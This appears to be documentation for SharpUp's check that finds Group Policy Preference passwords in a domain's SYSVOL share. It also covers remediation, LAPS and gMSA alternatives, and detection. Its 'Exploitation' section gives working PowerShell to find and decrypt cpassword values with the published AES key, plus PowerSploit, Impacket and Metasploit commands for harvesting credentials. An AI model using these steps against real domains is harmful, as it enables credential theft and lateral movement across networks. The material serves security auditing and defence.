Skip to main content

Overview

The Domain GPP Password check searches the domain SYSVOL share for Group Policy Preference (GPP) XML files containing encrypted passwords. SYSVOL is accessible to all authenticated domain users, making any credentials stored there accessible to the entire domain.
This check requires domain connectivity and will only work on domain-joined systems.

How It Works

SharpUp searches the SYSVOL share for policy XML files:
\\[DOMAIN]\SYSVOL\[DOMAIN]\Policies\**\*.xml
Target Files:
  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml
  • Registry.xml

Technical Details

  1. Retrieves the DNS domain name from environment variable %USERDNSDOMAIN%
  2. Constructs SYSVOL path: \\domain.com\SYSVOL
  3. Recursively searches for target XML files
  4. Parses files for cpassword attributes
  5. Reports files containing encrypted passwords
The encrypted passwords can be decrypted using Microsoft’s published AES key.

Example Output

=== GPP Password in SYSVOL ===
    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
    Type: Groups
    Username: LocalAdmin
    Password: P@ssw0rd123!

    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml
    Type: ScheduledTask
    Username: CONTOSO\svc_backup
    Password: BackupP@ss2019!
Interpretation:
  • Multiple GPP files contain passwords
  • LocalAdmin is a local account (possibly same password on all machines)
  • svc_backup is a domain service account
  • All passwords are easily decryptable

Exploitation

Method 1: Manual Search and Decrypt

# Search SYSVOL for GPP files
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml |
ForEach-Object {
    $content = Get-Content $_.FullName
    if ($content -match 'cpassword') {
        Write-Host "Found password in: $($_.FullName)"
        $content
    }
}

Method 2: Using PowerSploit Get-GPPPassword

# PowerSploit PowerUp module
Import-Module .\PowerUp.ps1
Get-GPPPassword

# Or specific search
Get-GPPPassword -Server dc01.contoso.com

Method 3: Using Impacket

# From Linux attacking machine
Get-GPPPassword.py contoso.com/user:password@dc01.contoso.com

Method 4: Decrypt Password

Once you find an encrypted password (cpassword value):
function Decrypt-GPPPassword {
    param([string]$EncryptedPassword)

    $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

    $Aes = [System.Security.Cryptography.Aes]::Create()
    $Aes.Mode = "CBC"
    $Aes.Key = $AesKey
    $Aes.IV = New-Object Byte[]($AesKey.Length)

    $DecryptedBytes = $Aes.CreateDecryptor().TransformFinalBlock(
        [Convert]::FromBase64String($EncryptedPassword),
        0,
        [Convert]::FromBase64String($EncryptedPassword).Length
    )

    return [System.Text.Encoding]::Unicode.GetString($DecryptedBytes).TrimEnd([char]0)
}

# Usage
Decrypt-GPPPassword "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

Method 5: Using Metasploit

# Metasploit module
use post/windows/gather/credentials/gpp
set SESSION 1
run

# Or auxiliary scanner
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS 10.10.10.0/24
set SMBUser user
set SMBPass password
run

Remediation

1

Identify All GPP Files in SYSVOL

# Search entire SYSVOL
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL"

Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
Where-Object {
    $content = Get-Content $_.FullName -Raw
    $content -match 'cpassword'
} |
Select-Object FullName, LastWriteTime
2

Document Found Credentials

Before deletion, document:
  • Which GPOs contain passwords
  • What accounts are affected
  • What systems receive these policies
  • What functionality will break when removed
3

Remove Passwords from GPOs

For each affected GPO:
  1. Open Group Policy Management Console (GPMC)
  2. Navigate to the policy containing passwords
  3. Remove or update the preference items:
    • Groups: Remove password-based group membership, use Restricted Groups instead
    • Services: Remove service credentials, use gMSA or sMSA
    • Scheduled Tasks: Remove task credentials, use gMSA
    • Data Sources: Remove connection strings, use Windows Authentication
    • Drives: Remove credentials, use proper share permissions
4

Delete XML Files from SYSVOL

After removing passwords from GPOs:
# Delete old XML files (do this carefully!)
# Files will regenerate without cpassword attribute after GPO update

# Or manually delete specific files
Remove-Item "\\$domain\SYSVOL\$domain\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml" -Force
5

Change All Exposed Credentials

# Change passwords for all accounts found in GPP
# Local accounts
net user LocalAdmin "NewComplexP@ssw0rd123!"

# Domain accounts
Set-ADAccountPassword -Identity svc_backup -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!" -Force)

# Force password change at next logon if appropriate
Set-ADUser -Identity svc_backup -ChangePasswordAtLogon $true
6

Implement KB2962486

Ensure all systems have MS14-025 installed:
  • Windows Server 2008 R2 / Windows 7: KB2962486
  • Newer systems: Already patched
This removes the ability to set passwords in GPP preferences.
7

Verify Removal

# Re-run SharpUp
SharpUp.exe DomainGPPPassword

# Should return no results

Alternative Solutions

Use Local Administrator Password Solution (LAPS)

# Install LAPS
# Download from Microsoft
# Import LAPS GPO templates
Import-Module AdmPwd.PS

# Extend AD schema
Update-AdmPwdADSchema

# Grant permissions
Set-AdmPwdComputerSelfPermission -Identity "OU=Workstations,DC=contoso,DC=com"

# Create GPO to enable LAPS
# Computer Configuration → Policies → Administrative Templates → LAPS

Use Group Managed Service Accounts (gMSA)

# Create KDS root key (once per domain)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# Create gMSA
New-ADServiceAccount -Name svc_backup `
    -DNSHostName svc_backup.contoso.com `
    -PrincipalsAllowedToRetrieveManagedPassword "BackupServers$"

# Install on servers
Install-ADServiceAccount -Identity svc_backup

# Use in services - no password needed

Use Restricted Groups Instead of GPP Groups

# In GPMC:
# Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups

# Add members to Administrators group without passwords
# This replaces Groups.xml functionality

Detection

Defensive Monitoring

# Monitor SYSVOL access
# Enable auditing on SYSVOL share

$sysvolPath = "\\$env:USERDNSDOMAIN\SYSVOL"
$acl = Get-Acl $sysvolPath

$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success,Failure"
)

$acl.AddAuditRule($auditRule)
Set-Acl $sysvolPath $acl

# Monitor Event ID 4663 for SYSVOL access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'SYSVOL.*\.xml'}

Detection Strategies

  • File Access Monitoring
  • Network Monitoring
  • PowerShell Monitoring
  • Behavioral Analytics
  • Monitor bulk reading of XML files from SYSVOL
  • Alert on access to Groups.xml, Services.xml, etc.
  • Track unusual access patterns (non-DC accessing SYSVOL extensively)

Real-World Scenarios

Context: IT team used GPP to set same local administrator password on all 5,000 workstations 7 years ago.Impact:
  • Attacker compromises one workstation
  • Extracts GPP password from SYSVOL
  • Gains local admin on all 5,000 workstations
  • Complete enterprise compromise
Lesson: This is why LAPS was created.
Context: Domain service account credentials stored in Scheduledtasks.xml for backup job.Attack Path:
  1. Attacker gets domain user access
  2. Reads SYSVOL and finds Scheduledtasks.xml
  3. Decrypts service account password
  4. Authenticates as service account
  5. Service account has broad permissions for backups
  6. Attacker exfiltrates all data
Solution: Use gMSA for service accounts.
Context: DataSources.xml contains SQL Server connection string with SA password.Impact:
  • Direct access to production database
  • Data exfiltration
  • Data manipulation
  • Ransomware opportunity
Solution: Use Windows Authentication for databases.

Prevention Best Practices

Never Use GPP for Passwords

Microsoft removed this feature for a reason. Don’t work around the security patch.

Implement LAPS

Use LAPS for all local administrator password management.

Use gMSA/sMSA

Service accounts should use managed service accounts without passwords.

Regular Audits

Periodically scan SYSVOL for any XML files with passwords.

Automated Remediation Script

# Run on Domain Controller
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Write-Host "[*] Scanning SYSVOL for GPP passwords..."

$foundFiles = Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
Where-Object {
    $content = Get-Content $_.FullName -Raw
    $content -match 'cpassword'
}

if ($foundFiles) {
    Write-Host "[!] Found $($foundFiles.Count) files with passwords:" -ForegroundColor Red
    $foundFiles | ForEach-Object {
        Write-Host "    $($_.FullName)" -ForegroundColor Yellow
    }

    Write-Host "`n[!] ACTION REQUIRED:" -ForegroundColor Red
    Write-Host "1. Document the GPOs and accounts involved"
    Write-Host "2. Remove passwords from GPO preferences (use LAPS/gMSA)"
    Write-Host "3. Delete these XML files"
    Write-Host "4. Change all exposed passwords"
} else {
    Write-Host "[+] No GPP passwords found in SYSVOL" -ForegroundColor Green
}

References